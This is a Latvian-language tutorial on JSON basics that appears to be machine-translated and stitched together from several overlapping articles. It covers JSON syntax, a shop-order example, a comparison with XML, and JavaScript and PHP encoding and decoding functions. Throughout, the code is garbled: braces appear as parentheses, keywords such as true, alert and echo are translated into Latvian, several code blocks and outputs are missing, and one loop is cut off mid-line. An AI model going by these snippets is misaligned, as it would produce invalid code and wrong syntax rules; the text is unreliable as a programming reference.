json valoda. JSON: pamati

Noteikti jūs kādreiz esat dzirdējuši par JSON. Kas tas ir? Ko tas var darīt un kā to izmantot?

Šajā apmācībā mēs apskatīsim JSON pamatus un šādus punktus:

• Kas ir JSON?
• Kam tiek izmantots JSON?
• Kā izveidot JSON virkni?
• Vienkāršs JSON virknes piemērs.
• Salīdzināsim JSON un XML.
• Kā strādāt ar JSON JavaScript un PHP?

Kas ir JSON?

JSON ir vienkāršs, uz tekstu balstīts veids, kā uzglabāt un pārsūtīt strukturētus datus. Izmantojot vienkāršu sintaksi, varat viegli saglabāt jebko, sākot no viena skaitļa līdz virknēm, masīviem un objektiem vienkāršā tekstā. Varat arī saistīt masīvus un objektus kopā, lai izveidotu sarežģītas datu struktūras.

Kad JSON virkne ir izveidota, to var viegli nosūtīt uz citu lietojumprogrammu vai citu vietu tīklā, jo tā ir vienkāršs teksts.

JSON ir šādas priekšrocības:

• Tas ir kompakts.
• Tā teikumus ir viegli lasīt un salikt gan cilvēkiem, gan datoriem.
• To var viegli pārveidot par datu struktūru lielākajai daļai programmēšanas valodu (skaitļi, virknes, Būla vērtības, masīvi utt.)
• Daudzām programmēšanas valodām ir funkcijas un bibliotēkas JSON struktūru lasīšanai un izveidei.

Nosaukums JSON apzīmē JavaScript objektu notāciju. Kā norāda nosaukums, tas ir balstīts uz veidu, kā definēt objektus (līdzīgi kā asociatīvo masīvu izveidi citās valodās) un masīvus.

Kam tiek izmantots JSON?

Visizplatītākais JSON lietojums ir datu sūtīšana no servera uz pārlūkprogrammu. Parasti JSON dati tiek piegādāti, izmantojot AJAX, kas ļauj pārlūkprogrammai un serverim sazināties bez nepieciešamības atkārtoti ielādēt lapu.

Lietotājs tiešsaistes veikalā noklikšķina uz produkta sīktēla.

JavaScript, kas darbojas pārlūkprogrammā, ģenerē AJAX pieprasījumu PHP skriptam, kas darbojas serverī, nododot atlasītā produkta ID.

PHP skripts no datu bāzes iegūst produkta nosaukumu, aprakstu, cenu un citu informāciju. Pēc tam tas no datiem izveido JSON virkni un nosūta to pārlūkprogrammai.

JavaScript, kas darbojas pārlūkprogrammā, saņem JSON virkni, atkodē to un lietotājam lapā parāda produkta informāciju.

Varat arī izmantot JSON, lai nosūtītu datus no pārlūkprogrammas uz serveri, nosūtot JSON virkni kā parametru GET vai POST pieprasījumiem. Bet šī metode ir mazāk izplatīta, jo datu pārsūtīšanu, izmantojot AJAX pieprasījumus, var vienkāršot. Piemēram, produkta ID var tikt iekļauts vietrādī URL kā daļa no GET pieprasījuma.

jQuery bibliotēkai ir vairākas metodes, piemēram, getJSON() un parseJSON(), kas atvieglo datu izgūšanu, izmantojot JSON, izmantojot AJAX pieprasījumus.

Kā izveidot JSON virkni?

Ir daži pamatnoteikumi JSON virknes izveidei:

• JSON virkne satur vērtību masīvu vai objektu (nosaukuma/vērtību pāru asociatīvo masīvu).
• Masīvs ir ietverts kvadrātiekavās ([ un ]) un satur komatu atdalītu vērtību sarakstu.
• Objekts ir ietverts krokainajās iekavās (( un )) un satur ar komatu atdalītu nosaukumu/vērtību pāru sarakstu.
• vārda/vērtības pāris sastāv no lauka nosaukuma, kas ievietots pēdiņās, kam seko kols (:) un lauka vērtība.
• Nozīme masīvā vai objektā var būt:
  • Skaitlis (vesels skaitlis vai peldošais punkts)
  • Virkne (dubultpēdiņās)
  • Būla vērtība (patiesa vai nepatiesa)
  • Cits masīvs (ielikts kvadrātiekavās)
  • Cits priekšmets (iekļauts cirtainajās lencēs)
  • nulles vērtība

Lai virknē iekļautu dubultpēdiņas, ir jāizmanto atpakaļvērstā slīpsvītra: \" . Tāpat kā daudzās programmēšanas valodās, virknē varat ievietot vadības rakstzīmes un heksadesimālos kodus, pirms tiem izmantojot atpakaļvērstās slīpsvītras. Detalizētu informāciju skatiet JSON vietnē.

Vienkāršs JSON virknes piemērs

Tālāk ir sniegts JSON formāta pasūtīšanas piemērs.

( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [aizsargāts ar e-pastu]", "contents": [ ( "productID": 34, "productName": "Super produkts", "quantity": 1 ), ( "productID": 56, "productName": "Miracle product", "quantity": 3 ) ], "pasūtījumsPabeigts": patiess )

Apskatīsim līniju sīkāk:

• Mēs izveidojam objektu, izmantojot cirtaini lencēm (( un )).
• Objektam ir vairāki nosaukumu/vērtību pāri: "orderID": 12345 Rekvizīts ar nosaukumu "orderId" un vesela skaitļa vērtību 12345 "shopperName": "Vanya Ivanov" rekvizīts ar nosaukumu "shopperName" un virknes vērtību "Vanya Ivanov". " "shopperEmail": " [aizsargāts ar e-pastu]" Īpašums ar nosaukumu "shopperEmail" ar virknes vērtību " [aizsargāts ar e-pastu]" "contents": [ ... ] Rekvizīts ar nosaukumu "contents", kura vērtība ir masīvs "orderCompleted": true Rekvizīts ar nosaukumu "orderCompleted" un Būla vērtība true
• Masīvā "saturs" ir 2 objekti, kas attēlo atsevišķus pasūtījuma vienumus. Katrs objekts satur 3 rekvizītus: produkta ID , produkta nosaukums un daudzums.

Starp citu, tā kā JSON pamatā ir JavaScript objektu deklarēšana, varat ātri un vienkārši padarīt iepriekš minēto JSON virkni par JavaScript objektu:

var cart = ( "pasūtījuma ID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [aizsargāts ar e-pastu]", "contents": [ ( "productID": 34, "productName": "Super produkts", "quantity": 1 ), ( "productID": 56, "productName": "Miracle product", "quantity": 3 ) ], "orderCompleted": true );

JSON un XML salīdzinājums

Daudzos veidos varat domāt par JSON kā alternatīvu XML, vismaz tīmekļa lietojumprogrammu telpā. AJAX koncepcija sākotnēji balstījās uz XML izmantošanu datu pārsūtīšanai starp serveri un pārlūkprogrammu. Taču pēdējos gados JSON ir kļuvis arvien populārāks AJAX datu pārsūtīšanai.

Lai gan XML ir pārbaudīta tehnoloģija, ko izmanto diezgan daudzās lietojumprogrammās, JSON priekšrocība ir tā, ka tas ir kompaktāks un vieglāk atpazīstams datu formāts.

Šādi izskatītos iepriekš minētais objekta piemērs XML formātā:

pasūtījumaID 12345 pircējsVārds Vaņa Ivanova pircējaE-pasts [aizsargāts ar e-pastu] saturs productID 34 productName Superpreces daudzums 1 productID 56 productName brīnumpreces daudzums 3 pasūtījumsPabeigts true

XML versija ir ievērojami lielāka. Patiesībā tas ir 1128 rakstzīmes garš, savukārt JSON versija ir tikai 323 rakstzīmes garš. Arī XML versiju ir diezgan grūti saprast.

Protams, tas ir radikāls piemērs. Un ir iespējams izveidot kompaktāku XML ierakstu. Bet pat tas būs ievērojami garāks nekā JSON ekvivalents.

Darbs ar JSON virkni JavaScript

JSON ir vienkāršs formāts, taču manuāli izveidot JSON virkni ir diezgan nogurdinoši. Turklāt jums bieži ir jāizmanto JSON virkne, tās saturs jāpārvērš mainīgā, ko var izmantot kodā.

Lielākajai daļai programmēšanas valodu ir rīki, lai viegli pārveidotu mainīgos par JSON virknēm un otrādi.

JSON virknes izveide no mainīgā

JavaScript ir iebūvēta metode JSON.stringify(), kas izmanto mainīgo un atgriež JSON virkni, kas atspoguļo tā saturu. Piemēram, izveidosim JavaScript objektu, kas satur pasūtījuma informāciju no mūsu piemēra, un pēc tam izveidosim no tā JSON virkni:

var cart = ( "pasūtījuma ID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [aizsargāts ar e-pastu]", "contents": [ ( "productID": 34, "productName": "Super produkts", "quantity": 1 ), ( "productID": 56, "productName": "Miracle product", "quantity": 3 ) ], "orderCompleted": brīdinājums (JSON.stringify(grozs));

Šis kods radīs:

Ņemiet vērā, ka metode JSON.stringify() atgriež JSON virkni bez atstarpēm. To ir grūtāk nolasīt, taču tas ir kompaktāks pārraidei tīklā.

Ir vairāki veidi, kā parsēt JSON virkni JavaScript, taču visdrošākais un uzticamākais ir izmantot iebūvēto JSON.parse() metodi. Tas saņem JSON virkni un atgriež JavaScript objektu vai masīvu, kas satur datus. Piemēram:

var jsonString = " \ ( \ "pasūtījuma ID": 12345, \ "shopperName": "Vanya Ivanov", \ "shopperEmail": " [aizsargāts ar e-pastu]", \ "saturs": [ \ ( \ "productID": 34, \ "productName": "Super produkts", \ "quantity": 1 \), \ ( \ "productID": 56, \ "productName": "Brīnumpreces", \"daudzums": 3\ ) \ ], \"pasūtījumsPabeigts": patiess \ ) \"; var grozs = JSON.parse(jsonString); brīdinājums(grozs.pircējsE-pasts); brīdinājums(grozs.contents.productName);

Mēs izveidojām jsonString mainīgo, kas satur mūsu parauga secības JSON virkni. Pēc tam šo virkni nododam metodei JSON.parse(), kas izveido objektu, kurā ir JSON dati, un saglabā to groza mainīgajā. Atliek tikai pārbaudīt, parādot satura masīva shopperEmail objekta un productName rekvizītus.

Rezultātā mēs iegūsim šādu rezultātu:

Reālā lietojumprogrammā jūsu JavaScript kods saņems pasūtījumu kā JSON virkni AJAX atbildē no servera skripta, nodod virkni JSON.parse() metodei un pēc tam izmantos datus, lai to parādītu lietotāja lapā.

JSON.stringify() un JSON.parse() ir citas iespējas, piemēram, izmantot atzvanīšanas funkcijas, lai pielāgotu konvertētu noteiktus datus. Šādas opcijas ir ļoti noderīgas dažādu datu pārveidošanai atbilstošos JavaScript objektos.

Darbs ar JSON virkni PHP

PHP, tāpat kā JavaScript, ir iebūvētas funkcijas darbam ar JSON virknēm.

JSON virknes izveide no PHP mainīgā

Funkcija json_encode() izmanto PHP mainīgo un atgriež JSON virkni, kas atspoguļo mainīgā saturu. Šeit ir mūsu pasūtījuma piemērs, kas rakstīts PHP:

Šis kods atgriež tieši tādu pašu JSON virkni kā JavaScript piemērā:

("orderID":12345,"shopperName":"Vanya Ivanov","shopperEmail":" [aizsargāts ar e-pastu]""contents":[("productID":34,"productName":"Super produkts","quantity":1),("productID":56,"productName":"Brīnums produkts","daudzums": 3)]"orderCompleted":true)

Reālā lietojumprogrammā jūsu PHP skripts nosūtīs šo JSON virkni kā daļu no AJAX atbildes uz pārlūkprogrammu, kur JavaScript kods, izmantojot metodi JSON.parse(), parsēs to atpakaļ mainīgajā, lai to parādītu lietotāja lapā. .

Kā otro argumentu funkcijai json_encode() varat nodot dažādus karogus. Ar viņu palīdzību jūs varat mainīt mainīgo satura kodēšanas principus JSON virknē.

Izveidojiet mainīgo no JSON virknes

Lai JSON virkni pārveidotu par PHP mainīgo, izmantojiet metodi json_decode(). Aizstāsim mūsu JavaScript piemēru ar JSON.parse() metodi ar PHP kodu:

Tāpat kā JavaScript gadījumā, šis kods radīs:

[aizsargāts ar e-pastu] Brīnumprodukts

Pēc noklusējuma funkcija json_decode() atgriež JSON objektus kā PHP objektus. Ir vispārīgi stdClass klases PHP objekti. Tāpēc mēs izmantojam ->, lai piekļūtu objekta īpašībām iepriekš minētajā piemērā.

Ja jums ir nepieciešams JSON objekts kā saistīts PHP masīvs, funkcijai json_decode() ir jānodod true kā otrais arguments. Piemēram:

$grozs = json_decode($jsonString, patiess); echo $grozs["shopperEmail"] . "
"; echo $grozs["saturs"]["produkta nosaukums"] . "
";

Šis kods radīs tādu pašu izvadi:

[aizsargāts ar e-pastu] Brīnumprodukts

Varat arī nodot citus argumentus funkcijai json_decode(), lai norādītu rekursijas dziļumu un to, kā rīkoties ar lieliem veseliem skaitļiem.

Secinājums

Lai gan JSON ir viegli saprotams un lietojams, tas ir ļoti noderīgs un elastīgs rīks datu pārsūtīšanai starp lietojumprogrammām un datoriem, īpaši, ja tiek izmantots AJAX. Ja plānojat izstrādāt AJAX lietojumprogrammu, tad nav šaubu, ka JSON kļūs par būtisku rīku jūsu darbnīcā.

Kas ir JSON un ko tas var darīt? Šajā rakstā jūs uzzināsit, kā izmantot JSON, lai ērti strādātu ar datiem. Mēs arī apskatīsim, kā strādāt ar JSON, izmantojot PHP un JavaScript.

Ja esat izstrādājis vietnes vai tīmekļa lietojumprogrammas kopumā, iespējams, vismaz garāmejot esat dzirdējis par JSON. Bet ko īsti nozīmē JSON? Ko var darīt šis datu formāts un kā to var izmantot?

Šajā rakstā mēs uzzināsim pamatus darbam ar json formātu. Mēs sekosim šādām tēmām:

• Kas ir JSON formāts?
• Kā izveidot JSON virknes?
• Vienkāršs JSON datu piemērs
• JSON salīdzināšana ar XML

Sāksim!

Kas ir JSON formāts?

JSON ir vienkāršs, uz tekstu balstīts veids, kā uzglabāt un pārsūtīt strukturētus datus. Izmantojot vienkāršu sintaksi, varat viegli saglabāt gan vienkāršus skaitļus un virknes, gan masīvus un objektus, izmantojot tikai tekstu. Varat arī saistīt objektus un masīvus, kas ļauj izveidot sarežģītas datu struktūras.

Kad JSON virkne ir izveidota, to var viegli nosūtīt uz jebkuru lietojumprogrammu vai datoru, jo tas ir tikai teksts.

JSON ir daudz priekšrocību:

• Tas ir kompakts
• Tas ir cilvēkiem lasāms un viegli lasāms ar datoru
• To var viegli pārvērst programmatūras formātos: skaitliskās vērtībās, virknēs, Būla formātā, nulles vērtībā, masīvos un asociatīvajos masīvos.
• Gandrīz visās programmēšanas valodās ir funkcijas, kas ļauj lasīt un izveidot json datu formātu.

Burtiski saīsinājums JSON apzīmē JavaScript objektu notāciju. Kā aprakstīts iepriekš, šis formāts ir balstīts uz objektu izveidi, kas ir kaut kas līdzīgs asociatīvajiem masīviem citās programmēšanas valodās.

Kādiem nolūkiem tiek izmantots JSON?

Galvenokārt json tiek izmantots datu apmaiņai starp JavaScript un servera pusi (php). Citiem vārdiem sakot, ajax tehnoloģijai. Tas ir ļoti ērti, ja nododat vairākus mainīgos lielumus vai veselus datu masīvus.

Lūk, kā tas izskatās piemērā:

Lietotājs noklikšķina uz sīktēla

JavaScript apstrādā šo notikumu un nosūta ajax pieprasījumu PHP skriptam, nododot attēla ID.

Serverī php no datu bāzes saņem bildes aprakstu, bildes nosaukumu, adresi lielajam attēlam un citu informāciju. Pēc tā saņemšanas tas pārvērš to JSON formātā un nosūta atpakaļ uz lietotāja lapu.

JavaScript saņem atbildi JSON formātā, apstrādā datus, ģenerē html kodu un parāda palielinātu attēlu ar aprakstu un citu informāciju.

Tādā veidā attēls tiek palielināts, nepārlādējot lapu pārlūkprogrammā. Tas ir ļoti ērti, ja nepieciešams saņemt daļējus datus vai pārsūtīt uz serveri nelielu informācijas apjomu.

Ikviena iecienītākajam jQuery ir getJSON() un parseJSON() funkcijas, kas palīdz strādāt ar formātu, izmantojot ajax pieprasījumus.

Kā izveidot JSON virknes?

Tālāk ir sniegti pamatnoteikumi JSON virkņu izveidei.

• JSON virknē ir gan vērtību masīvs, gan objekts (asociatīvais masīvs ar nosaukuma/vērtības pāriem).
• Masīvs jāiekļauj kvadrātiekavās [ un ], un tajā var būt vērtību saraksts, kas ir atdalītas ar komatu.
• Objekti tiek apvilkti, izmantojot cirtainas rokas ( un ), un tajos ir arī ar komatu atdalīti vārdu/vērtību pāri.
• Vārda/vērtības pāri sastāv no lauka nosaukuma (dubultpēdiņās), kam seko kols (:), kam seko lauka vērtība.
• Vērtības masīvā vai objektā var būt:
  • Skaitlis (vesels skaitlis vai punktēta daļa)
  • Virknes (ievilktas dubultpēdiņās)
  • Būla (patiesa vai nepatiesa)
  • Citi masīvi (iesaiņoti kvadrātiekavās [ un ])
  • Citi objekti (iesaiņoti cirtainās rokās ( un ))
  • Nulle vērtība

Svarīgs! Ja vērtībās izmantojat dubultpēdiņas, atkāpieties no tām ar atpakaļvērstās slīpsvītras simbolu: \". Varat arī izmantot heksadecimālās rakstzīmes, tāpat kā citās programmēšanas valodās.

Vienkāršs JSON datu piemērs

Šis piemērs parāda, kā varat saglabāt datus tiešsaistes veikala “grozā”, izmantojot JSON formātu:

("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [aizsargāts ar e-pastu]", "contents": [ ( "productID": 34, "productName": "SuperWidget", "quantity": 1 ), ( "productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], "pasūtījumsPabeigts": patiess )

Sadalīsim šos datus pa daļām:

Sākumā un beigās mēs izmantojam cirtainas rokas ( un ), lai skaidri norādītu, ka tas ir objekts.

Objekta iekšpusē mums ir vairāki vārdu/vērtību pāri:

"orderID": 12345 — lauks ar nosaukumu orderId un vērtība 12345

"shopperName": "John Smith" — lauks ar nosaukumu shopperName un vērtība Jānis Smits

"shopperEmail": "johnsmith@ example.com" - līdzīgi kā iepriekšējā laukā, šeit tiek saglabāts pircēja e-pasts.

"saturs": [ ... ] - lauks ar nosaukumu saturs, kura vērtība ir masīvs.

"orderCompleted": true — lauks orderCompleted, kura vērtība ir patiesa

Satura masīvā mums ir divi objekti, kas parāda groza saturu. Katram produkta objektam ir trīs rekvizīti: produkta ID, produkta nosaukums, daudzums.

Visbeidzot, tā kā JSON ir identisks JavaScript objektiem, varat viegli izmantot šo piemēru un izveidot no tā JavaScript objektu:

var cart = ("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [aizsargāts ar e-pastu]", "contents": [ ( "productID": 34, "productName": "SuperWidget", "quantity": 1 ), ( "productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], "orderCompleted": true );

JSON salīdzināšana ar XML

Vairumā gadījumu jūs domājat par JSON kā alternatīvu XML — vismaz tīmekļa lietojumprogrammās. Ajax koncepcija sākotnēji izmanto XML datu apmaiņai starp serveri un pārlūkprogrammu, taču pēdējos gados JSON ir kļuvis populārāks ajax datu pārsūtīšanai.

Lai gan XML ir pārbaudīta un pārbaudīta tehnoloģija, ko izmanto daudzas lietojumprogrammas, JSON formāta priekšrocības ir tādas, ka tas ir kompaktāks un vieglāk rakstāms un lasāms.

Šeit ir iepriekš minētais JSON piemērs, kas pārrakstīts tikai XML formātā:

pasūtījuma ID 12345 pircējsVārds Džons Smits pircējsE-pasts [aizsargāts ar e-pastu] saturs productID 34 productName SuperWidget daudzums 1 productID 56 productName WonderWidget daudzums 3 pasūtījumsCompleted true

Kā redzat, tas ir vairākas reizes garāks nekā JSON. Faktiski šajā piemērā ir 1128 rakstzīmes, savukārt JSON versijā ir tikai 323 rakstzīmes. XML versiju ir arī grūtāk lasīt.

Protams, nevar spriest tikai pēc viena piemēra, taču pat neliels informācijas apjoms aizņem mazāk vietas JSON formātā nekā XML formātā.

Kā strādāt ar JSON, izmantojot PHP un JS?

Tagad mēs nonākam pie interesantākās daļas - JSON formāta praktiskās puses. Vispirms veltīsim cieņu JavaScript, pēc tam redzēsim, kā jūs varat manipulēt ar JSON, izmantojot PHP.

JSON formāta izveide un lasīšana, izmantojot JavaScript

Lai gan JSON formāts ir vienkāršs, izstrādājot tīmekļa lietojumprogrammas, ir grūti rakstīt manuāli. Turklāt jums bieži ir jāpārvērš JSON virknes mainīgajos un pēc tam jāizmanto savā kodā.

Par laimi, daudzas programmēšanas valodas nodrošina rīkus darbam ar JSON virknēm. Kuras galvenā ideja:

Lai izveidotu JSON virknes, sāciet ar mainīgajiem, kas satur dažas vērtības, un pēc tam nosūtiet tos caur funkciju, kas datus pārvērš JSON virknē.

Lasot JSON virknes, jūs sākat ar JSON virkni, kurā ir noteikti dati, un nododat virkni caur funkciju, kas izveido mainīgos, kas satur datus.

Apskatīsim, kā tas tiek darīts JavaScript.

JSON virknes izveide no JavaScript mainīgā

JavaScript ir iebūvēta metode JSON.stringify(), kas izmanto javascript mainīgo un atgriež JSON virkni, kas atspoguļo mainīgā saturu. Piemēram, izmantosim iepriekš izveidotu objektu un pārveidosim to par JSON virkni.

var cart = ("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [aizsargāts ar e-pastu]", "contents": [ ( "productID": 34, "productName": "SuperWidget", "quantity": 1 ), ( "productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], "orderCompleted": patiess brīdinājums (JSON.stringify(grozs));

Lūk, kas parādīsies ekrānā:

("orderID":12345,"shopperName":"Džons Smits","shopperEmail":" [aizsargāts ar e-pastu]", "contents":[("productID":34,"productName":"SuperWidget","quantity":1), ("productID":56,"productName":"WonderWidget","quantity":3) ], "orderCompleted":true)

Ņemiet vērā, ka JSON.stringify() izvada JSON virknes bez atstarpēm. To ir grūti nolasīt, taču tas ir kompaktāks, kas ir svarīgi, sūtot datus.

JavaScript mainīgā izveide no JSON virknes

Ir vairāki veidi, kā parsēt JSON virknes, vispieņemamākais un drošākais ir izmantot JSON.parse() metodi. Tas aizņem JSON virkni un atgriež JavaScript objektu vai masīvu, kurā ir JSON dati. Šeit ir piemērs:

var jsonString = " \ ( \ "pasūtījuma ID": 12345, \ "shopperName": "John Smith", \ "shopperEmail": " [aizsargāts ar e-pastu]", \ "saturs": [ \ ( \ "productID": 34, \ "productName": "SuperWidget", \ "quantity": 1 \), \ ( \ "productID": 56, \ "productName": " WonderWidget", \"quantity": 3\ ) \ ], \"orderCompleted": true \ ) \"; var grozs = JSON.parse(jsonString); brīdinājums(grozs.pircējsE-pasts); brīdinājums(grozs.contents.productName);

Šeit mēs izveidojām mainīgo jsonString, kas satur JSON virkni no iepriekš sniegtajiem piemēriem. Pēc tam mēs nosūtījām šo virkni caur JSON.parse(), lai izveidotu objektu, kas satur JSON datus, kas tika saglabāti groza mainīgajā. Visbeidzot, mēs pārbaudām datu pieejamību un parāda informāciju, izmantojot brīdinājuma modālo logu.

Tiks parādīta šāda informācija:

Reālā tīmekļa lietojumprogrammā jūsu JavaScript kodam jāsaņem JSON virkne kā atbilde no servera (pēc AJAX pieprasījuma nosūtīšanas), pēc tam parsējiet virkni un lietotājam parāda groza saturu.

JSON formāta izveide un lasīšana, izmantojot PHP

PHP, tāpat kā JavaScript, ir funkcijas, kas ļauj pārvērst mainīgos JSON formātā un otrādi. Apskatīsim tos.

JSON virknes izveide no PHP mainīgā

Json_encode() ņem PHP mainīgo un atgriež JSON virkni, kas atspoguļo mainīgā datus. Šeit ir mūsu PHP rakstīta “groza” piemērs:

Šis kods rada tieši tādu pašu rezultātu kā JavaScript piemērs — derīga JSON virkne, kas atspoguļo mainīgo saturu:

("orderID":12345,"shopperName":"Džons Smits","shopperEmail":" [aizsargāts ar e-pastu]""contents":[("productID":34,"productName":"SuperWidget","quantity":1),("productID":56,"productName":"WonderWidget","quantity":3) ]"orderCompleted":true)

Patiesībā jūsu PHP skriptam ir jānosūta JSON virkne kā atbilde uz AJAX pieprasījumu, kur JavaScript izmantos JSON.parse(), lai pārvērstu virkni mainīgajos.

Funkcijā json_encode() varat norādīt papildu parametrus, kas ļauj konvertēt dažas rakstzīmes par hex.

PHP mainīgā izveide no JSON virknes

Līdzīgi kā iepriekš, ir funkcija json_decode(), kas ļauj atšifrēt JSON virknes un ievietot saturu mainīgajos.

Tāpat kā JavaScript gadījumā, šis kods izvadīs sekojošo:

[aizsargāts ar e-pastu] WonderWidget

Pēc noklusējuma json_decode() atgriež JSON objektus kā PHP objektus. Līdzīgi kā parastajā sintakse, mēs izmantojam ->, lai piekļūtu objekta īpašībām.

Ja vēlāk vēlaties izmantot datus kā asociatīvu masīvu, vienkārši nododiet funkcijai json_decode() otro parametru. Šeit ir piemērs:

$grozs = json_decode($jsonString, patiess); echo $grozs["shopperEmail"] . "
"; echo $grozs["saturs"]["produkta nosaukums"] . "
";

Tas rada tādu pašu rezultātu:

[aizsargāts ar e-pastu] WonderWidget

Varat arī nodot papildu argumentus funkcijai json_decode(), lai noteiktu lielu skaitļu apstrādi un rekursiju.

Noslēgumā par JSON formātu

Ja plānojat izveidot tīmekļa lietojumprogrammu, izmantojot Ajax tehnoloģiju, datu apmaiņai starp serveri un pārlūkprogrammu noteikti izmantosit JSON formātu.

JSON ir teksta formāts datu ierakstīšanai. Tas ļauj teksta veidā attēlot gan vienu skaitli vai virkni, gan sarežģītas struktūras, piemēram, masīvus ar datiem. Šī ieraksta formāta izmantošana ir ērta, jo tas ir lasāms un intuitīvs, tajā pašā laikā ļaujot uzglabāt ļoti sarežģītas datu struktūras. Turklāt tas ir kompaktāks par xml, tāpēc, manuprāt, tas ir vairāk piemērots datu apmaiņai starp tīmekļa pārlūkprogrammu un serveri.

JSON sintakse ar piemēriem

Json formāts parasti ir rakstīts divos variantos:

1. Vērtību secība. Piemēram, secība 10, 15 un "test" JSON formātā izskatītos šādi:

2. Ieraksts atslēgas veidā: vērtību pāri. Piemēram:

(“Pilns vārds”: “Ivanovs Sergejs”, “Dzimšanas datums”: “03/09/1975”)

Nedaudz sarežģītāks piemērs:

("Pilns vārds": "Ivanovs Sergejs", "Adrese": ("Pilsēta": "Maskava", "Iela": "Pjatņitskaja", "Māja": "35") )

PHP funkcijas darbam ar JSON formātu

PHP valodā kopš versijas 5.2. ir tikai 4 funkcijas:

• json_decode — atkodē JSON virkni (iegūst datus no JSON formāta virknes)
• json_encode — atgriež datu JSON attēlu (pārvērš datus par JSON virkni)
• json_last_error_msg — atgriež virkni, kas norāda uz json_encode() vai json_decode() pēdējā izsaukuma kļūdas ziņojumu.
• json_last_error — atgriež pēdējo kļūdu

Būtībā lielākoties tiek izmantotas tikai divas funkcijas: json_encode un json_decode. Es neiedziļināšos viņu sintakses detaļās, sīkāku informāciju varat apskatīt vietnē php.net. Lietošanas piemērs:

$arr1 = masīvs(0,1,2); $json_str = json_encode($arr1); echo $json_str; // izvadīs json virkni: $arr2 = json_decode($json_str); atbalss $arr2; // izvadīs: 1

Lūdzu, ņemiet vērā: kodējot datus krievu valodā JSON formātā, funkcija json_encode pārvērš krievu rakstzīmes par Unicode, t.i. aizstāj tos ar \uXXXX un tādējādi json virkne kļūst nelasāma cilvēkiem (bet saprotama pārlūkprogrammai). Ja vēlaties izvairīties no konvertēšanas uz Unicode (piemēram, atkļūdojot kodu), varat vienkārši izmantot opciju JSON_UNESCAPED_UNICODE.

Varat arī izmantot JSON_UNESCAPED_SLASHES un JSON_NUMERIC_CHECK, lai kodēšanas laikā netiktu pievienotas atsoļa slīpsvītras un lai virknes ar cipariem tiktu kodētas kā skaitļi. Tā rezultātā, lai json virkne būtu cilvēka lasāma, mēs, piemēram, rīkojamies šādi:

$arr = array("fio" => "Ivanovs Sergejs", "vecums" => "32", "vk_url" => "https://vk.com/id11111"); echo json_encode($arr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

Neizmantojot šīs opcijas, rinda būtu šāda:

( "fio" : "\u0418\u0432\u0430\u043d\u043e\u0432 \u0421\u0435\u0440\u0433\u0435\u0439", "vecums" : "32",\\\: "https:l/ /vk.com\/id11111")

un, izmantojot opcijas, mēs iegūstam lasāmu rindu:

( "fio" : "Ivanovs Sergejs", "vecums" : 32, "vk_url" : "https://vk.com/id11111")

Vēl viens punkts: ja vēlaties, lai funkcija json_decode atgrieztu masīvu, dekodējot JSON virkni, vienkārši pievienojiet funkcijai otru parametru, kas vienāds ar patieso.

$json_str = "("a":1, "b":2, "c":3)"; $obj = json_decode($json_str); // iegūt objekta atbalsi $obj->a; // izvadīs 1 $arr = json_decode($json_str, true); // iegūt asociatīvu masīvu echo $arr["a"]; // izdrukās 1

Tas noslēdz manu PHP funkciju pārskatu.

JavaScript funkcijas darbam ar JSON formātu

Sāksim ar faktu, ka JSON formāts sākotnēji tika izgudrots JavaScript valodai un pēc tam kļuva vienkārši par atsevišķu teksta formātu, ko izmanto dažādās valodās. Acīmredzot tāpēc JSON sintakse ir ļoti līdzīga parasto objektu un masīvu rakstīšanas sintaksei.

// Masīva piemērs JavaScript arr = ; brīdinājums(arr); // parādīs 1 // Objekta piemērs JavaScript obj = ( "nosaukums": "Vasya", "vecums": 35, "isAdmin": false ) alert(obj.name); // izdrukās "Vasya"

JavaScript funkcijas, ko izmanto, lai konvertētu uz un no JSON formāta:

• JSON.parse — JSON virknes dekodēšana (virknes pārvēršana objektos un/vai masīvos)
• JSON.stringify — atgriež datu JSON attēlojumu (objektu un/vai masīvu pārveidošana par JSON virkni)

Vienkāršs piemērs json virknes dekodēšanai masīvā ar cipariem:

Str = ""; arr = JSON.parse(str); brīdinājums(arr); // izdrukās 1

Piemērs objekta konvertēšanai (serializēšanai) JSON virknē:

Obj = ( "vārds": "Vasja", "vecums": 35, "isAdmin": viltus ) brīdinājums(JSON.stringify(obj)); // tiks parādīts ("name":"Vasya","age":35,"isAdmin":false)

Serializējot (pārveidojot) objektu JSON virknē, tiek izsaukta šī objekta toJSON metode, ja tāda pastāv. Ja metodes nav, tad tiek uzskaitītas visas objekta īpašības. Piemērs objekta konvertēšanai ar toJSON metodi:

Obj = ("nosaukums": "Vasja", "vecums": 35, "isAdmin": false, toJSON: function() (atgriezt šo.vecumu; ) ) alert(JSON.stringify(obj)); // izdrukās 35

JSON formāta praktiskas pielietošanas piemēri

Patiesībā es personīgi izmantoju JSON formātu 2 galvenajās situācijās:

1. Datu pārsūtīšana starp pārlūkprogrammu un serveri, izmantojot Ajax pieprasījumus.

Piemēram, mums ir kāda lapa, kurā mums ir jāatjaunina dati, nepārlādējot lapu. Pieņemsim, ka jums ir nepieciešama informācija ar darbinieku sarakstu un viņu datiem, ko “lejupielādēt” no servera.

JavaScript, izmantojot jQuery, mēs to padarām vienkāršu un pārlūkprogrammā attēlojam datus tabulas veidā:

$.getJSON("get-info.php").success(function(data) ( // ajax pieprasījums, dati no servera tiks ierakstīti datu mainīgajā htmlstr = "

"; for (var i=0; i "Ivanovs Sergejs", "dzimšanas diena" => "03/09/1975"); $user_info = array ("fio" => "Aleksejs Petrovs", "dzimšanas diena" => " 18.09.1983"); echo json_encode($user_info); iziet;

Šajā piemērā JSON virkne, kas tika nodota no servera pārlūkprogrammai, bija šāda:

[("fio":"Sergejs Ivanovs","dzimšanas diena":"03/09/1975"),("fio":"Aleksejs Petrovs","dzimšanas diena":"09/18/1983")]

